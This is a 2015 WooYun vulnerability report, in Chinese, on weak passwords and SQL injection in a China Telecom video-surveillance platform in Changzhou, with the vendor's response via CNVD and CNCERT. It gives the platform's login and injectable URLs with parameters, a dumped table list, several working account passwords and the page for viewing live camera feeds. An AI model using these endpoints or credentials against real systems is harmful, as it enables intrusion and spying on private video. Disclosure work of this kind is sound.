当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0134505

漏洞标题：中国电信某市监控平台后台弱口令&SQL注射（可控制几千台设备）

相关厂商：中国电信

漏洞作者： 路人甲

提交时间：2015-08-18 17:12

修复时间：2015-10-03 11:10

公开时间：2015-10-03 11:10

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-08-18： 细节已通知厂商并且等待厂商处理中
2015-08-19： 厂商已经确认，细节仅向厂商公开
2015-08-29： 细节向核心白帽子及相关领域专家公开
2015-09-08： 细节向普通白帽子公开
2015-09-18： 细节向实习白帽子公开
2015-10-03： 细节向公众公开

简要描述：

详细说明：

E监控是常州电信针对企业,家庭推出的集视频观看，报警，录像功能为一体的安防业务，该业务通过宽带，手机等通讯手段，为用户提供更可靠的安全防范服务。
http://ejk.czinfo.net/login.php
账号：2
密码：123456

0.jpg


注入一：
http://ejk.czinfo.net/announce_view.php?id=5
参数id
注入二：
http://ejk.czinfo.net/ep_user_edit.php?orgid=&page=1&id=1063
参数id
这里可以越权修改其他账号信息。
注入三：
http://ejk.czinfo.net/channel_edit.php?devid=SWIT-VIDSEC-0x0001507-8FE77012&id=135&page=1&oid=
参数devid和id
可越权修改其他设备信息。

5.jpg


union注入，数据轻松跑出：

Database: VVEnterpriseDB
[38 tables]
+---------------------+
| Announcetb          |
| Service_Alarm       |
| Service_Channel     |
| Service_Disk        |
| Service_Pre         |
| Service_Sms         |
| Service_Sms2        |
| Service_SmsAlarm    |
| Service_Smsdef      |
| Service_User        |
| Service_View        |
| Service_Wap         |
| StreamSvrTb         |
| adminlog            |
| admintb             |
| channeltb           |
| chinfotb            |
| devidtb             |
| devtb               |
| dzwltb              |
| eventtb             |
| logtb               |
| mmslogtb            |
| mobiletb            |
| orgtb               |
| pathtb              |
| ploytb              |
| ptimetb             |
| pushlogtb           |
| serverstb           |
| sessiontb           |
| smslogtb            |
| smstb               |
| swit_download_count |
| swit_index_count    |
| tracktb             |
| usertb              |
| vvidtb              |
+---------------------+


usertb和admintb表数据，密码未加盐，大部分md5可轻松解出：

2.jpg


设备：

4.jpg


测试几个有设备在线的账号：

账号：1201
密码：1201
账号：1227
密码：13579
账号：1223
密码：13579


下载监控客户端，或者直接在线查看，
地址：http://ejk.czinfo.net/mobi/3g/login.php
可查看监控画面：

9.jpg


10.jpg


漏洞证明：

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-08-19 11:09

厂商回复：

CNVD确认并复现所述情况,已经转由CNCERT向中国电信集团公司通报,由其后续协调网站管理部门处置.

最新状态：

暂无